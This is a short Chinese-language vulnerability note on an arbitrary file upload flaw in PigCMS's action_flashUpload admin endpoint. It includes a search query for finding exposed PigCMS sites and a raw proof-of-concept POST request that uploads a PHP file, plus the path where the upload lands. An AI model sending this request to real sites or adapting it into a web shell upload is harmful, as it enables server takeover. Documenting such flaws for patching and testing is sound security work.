PigCMS action_flashUpload 任意文件上传漏洞

## 漏洞描述
PigCMS action_flashUpload 方法中存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件获取到服务器权限
## 漏洞影响
pigcms
## 网络测绘
```app.name="PigCMS"```
## 漏洞复现
登陆页面
验证POC
```POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1Host:Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=----aaa
------aaaContent-Disposition: form-data; name="filePath"; filename="test.php"Content-Type: video/x-flv
<?php phpinfo();?>------aaa```
```/cms/upload/images/2025/08/11/1691722887xXbx.php```